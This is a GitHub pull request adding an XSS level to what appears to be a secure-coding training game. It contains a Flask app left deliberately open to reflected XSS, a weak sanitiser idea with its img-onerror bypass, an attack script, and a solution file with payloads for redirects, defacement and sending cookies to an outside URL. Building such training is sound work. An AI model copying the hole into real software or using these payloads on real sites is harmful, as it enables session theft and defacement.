Skip to content
Closed
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
51 changes: 51 additions & 0 deletions Season2_Level-3/code.py
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Great job! I really like the scenario and it brings a lot of value to our users!

I have the following thoughts to make it perfect:

  • If this level is going to be a level 3, it has to become a bit more difficult as now it's straight forward. Here we have 2 options: either do nothing and make it a level 1 or 2, or add some more code and make it a very interesting level 3 or even 4.
  • In case you want to make it a level 3 at least, then you have to add some defences in the code that actually implement input sanitisation, but the input sanitisation should have some gaps so that attackers can succeed. Right now, there's no defence at all, which makes it a straight forward. For inspiration, you can check out some common misconceptions or mistakes when developers implement input sanitisation, either through a bad regex or a bad library or manually. A super fun way to try to do it might be to strip off any input that has the word "alert" or in general any common XSS payloads so that players be like "hm, it's not XSS because they took care of it with their code defences"
  • This is optional but highly recommended if you want to experiment more, you can make it a level 4 by introducing another problem, like for example those we discussed before (insecure data storage, insecure host validation, etc).

Let me know what you think, we can go on video and discuss more 💯

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi, thank you, I have done some modification and added a weak RE + Blocking script tag, it wont execute common XSS payloads
here is the code

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        planet = request.form.get('planet')
        sanitized_planet = re.sub(r'[<>(){}[\]]', '', planet)

        if 'script' in sanitized_planet.lower() :
            return '<h2>Blocked</h2></p>'

        elif sanitized_planet:
            details = get_planet_info(sanitized_planet)

            if planet:
                return f'<h2>Planet Details:</h2><p>{get_planet_info(planet)}</p>'
            else:
                return '<h2>Please enter a planet name.</h2>'

    return render_template('index.html')

But this kind of payload will be executed <<img src="x" onerror="alert(1)">>
image

Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
from flask import Flask, request, render_template, jsonify
import os

app = Flask(__name__)

# Set the absolute path to the template directory
template_dir = os.path.abspath('templates')
app.template_folder = template_dir

# Hard-coded planet data
planet_data = {
"Mercury": "The smallest and fastest planet in the Solar System.",
"Venus": "The second planet from the Sun and the hottest planet.",
"Earth": "Our home planet and the only known celestial body to support life.",
"Mars": "The fourth planet from the Sun and often called the 'Red Planet'.",
"Jupiter": "The largest planet in the Solar System and known for its great red spot.",
}

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
planet = request.form.get('planet')

if planet:
return f'<h2>Planet Details:</h2><p>{get_planet_info(planet)}</p>'
else:
return '<h2>Please enter a planet name.</h2>'

return render_template('index.html')

@app.route('/getPlanetInfo', methods=['GET'])
def get_planet_info_endpoint():

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe I'm overlooking something, but from my point of view it doesn't look like the get_planet_info_endpoint is offering any additional value besides the index request handler? (that is, it's code is almost identical, and is vulnerable to the same attack). From my point of view, we might be able to make the code simpler by simply removing this part of the code?

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@viralvaghela what do you think?

planet = request.args.get('planet')

if planet:
details = get_planet_info(planet)
if details:
return f'<h2>Planet Details:</h2><p>{details}</p>'
else:
return jsonify({'error': f"No information found for '{planet}'."}), 404
else:
return jsonify({'error': 'No planet name provided.'}), 400

def get_planet_info(planet):
if planet in planet_data:
return planet_data[planet]
else:
return f'No information found for {planet}.'

if __name__ == '__main__':
app.run()
16 changes: 16 additions & 0 deletions Season2_Level-3/hack.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
import requests

# Target URL
target_url = "http://localhost:5000/"

# XSS payload
payload = "<script>alert(document.cookies)</script>"

# Craft the malicious URL with the payload
malicious_url = f"{target_url}getPlanetInfo?planet={payload}"

# Send the request
response = requests.get(malicious_url)

# Print the response content
print(response.text)
12 changes: 12 additions & 0 deletions Season2_Level-3/hint.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
XSS Exploit

Hey, This Code is vulnerable to XSS, can you exploit it?

try checking endpoint
```/getPlanetInfo```

Learn more about XSS from :

[OWASP](https://owasp.org/www-community/attacks/xss/)

[PortSwigger](https://portswigger.net/web-security/cross-site-scripting)
1 change: 1 addition & 0 deletions Season2_Level-3/requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
flask
40 changes: 40 additions & 0 deletions Season2_Level-3/solution.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
### This code is vulnerable to [XSS](https://portswigger.net/web-security/cross-site-scripting)

Vulnerable Endpoint: `/getPlanetInfo`

Exploit:
```js
http://localhost:5000/getPlanetInfo?planet=<script>alert('XSS Attack')</script>
```

### What you can do with XSS?
- Steal Cookies and Session Information
- Redirect to malicious websites
- Modify website content
- Phishing
- Keylogging
- etc.

### How to prevent XSS?
- Sanitize user input
- Use Content Security Policy (CSP)
- Use HttpOnly Cookies
- Use X-XSS-Protection header


### Here are some exploit examples:

#### Redirect to Phiting page using XSS
```<script> window.location.href = 'https://google.com'; </script>```

#### Get cookies
```<script> window.location.href = 'https://google.com/?cookie=' + document.cookie; </script>```

#### Modify website content
You can inject any phising page / malicious page or any other content to the website using XSS.

```<script> document.body.innerHTML = '<h1>Website is hacked</h1>'; </script>```


```<iframe width="560" height="315" src="https://www.youtube.com/embed/dQw4w9WgXcQ" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe> ```

4 changes: 4 additions & 0 deletions Season2_Level-3/storyline.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
Congratulations on completing Level 2 !
Welcome to Level 3, where new challenges and mysteries await you. Here, you will face a heightened test of your skills and knowledge.

In this level, the website's vulnerability has become more elusive, requiring a deeper understanding of cross-site scripting (XSS) techniques. Your mission is to explore the intricate corners of the website's code, discover hidden flaws, and master the art of XSS exploitation.
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This must change, because we tell them what they are looking for (XSS).

We can just add a more generic story about space and find another way to make it a real-world use case, but without hinting or telling about the vulnerability name. We can discuss over video or I'm happy to take this task and show you what I suggest at a later stage. We can do this last.

63 changes: 63 additions & 0 deletions Season2_Level-3/templates/index.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
<!DOCTYPE html>
<html>

<head>
<title>Planet Information</title>
<style>
body {
font-family: Arial, Helvetica, sans-serif;
background-color: #121212;
color: #ffffff;
}

h1 {
text-align: center;
margin-top: 50px;
}

form {
text-align: center;
margin-top: 30px;
}

label {
font-weight: bold;
display: block;
margin-bottom: 5px;
}

input[type="text"] {
padding: 8px;
border-radius: 4px;
border: 1px solid #ffffff;
width: 200px;
background-color: #292929;
color: #ffffff;
}

input[type="submit"] {
padding: 8px 20px;
border-radius: 4px;
background-color: #4CAF50;
color: #ffffff;
border: none;
cursor: pointer;
}

input[type="submit"]:hover {
background-color: #45a049;
}
</style>
</head>

<body>
<h1>Planet Information</h1>
<form action="/" method="POST">
<label for="planet">Enter a planet name:</label>
<input type="text" id="planet" name="planet">
<br><br>
<input type="submit" value="Submit">
</form>
</body>

</html>
38 changes: 38 additions & 0 deletions Season2_Level-3/tests.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
import unittest
from flask import Flask
from flask_testing import TestCase
from code import app, get_planet_info

class MyTestCase(TestCase):
def create_app(self):
app.config['TESTING'] = True
app.config['TEMPLATES_AUTO_RELOAD'] = True
return app

def test_index_route(self):
response = self.client.get('/')
self.assert200(response)
self.assertTemplateUsed('index.html')

def test_get_planet_info_invalid_planet(self):
planet = 'Pluto'
expected_info = 'No information found for Pluto.'
result = get_planet_info(planet)
self.assertEqual(result, expected_info)

def test_get_planet_info_valid_planet(self):
planet = 'Mercury'
expected_info = 'The smallest and fastest planet in the Solar System.'
result = get_planet_info(planet)
self.assertEqual(result, expected_info)

def test_get_planet_info_endpoint_no_planet(self):
response = self.client.get('/getPlanetInfo')
self.assert400(response)
self.assertEqual(response.json, {'error': 'No planet name provided.'})



if __name__ == '__main__':
unittest.main()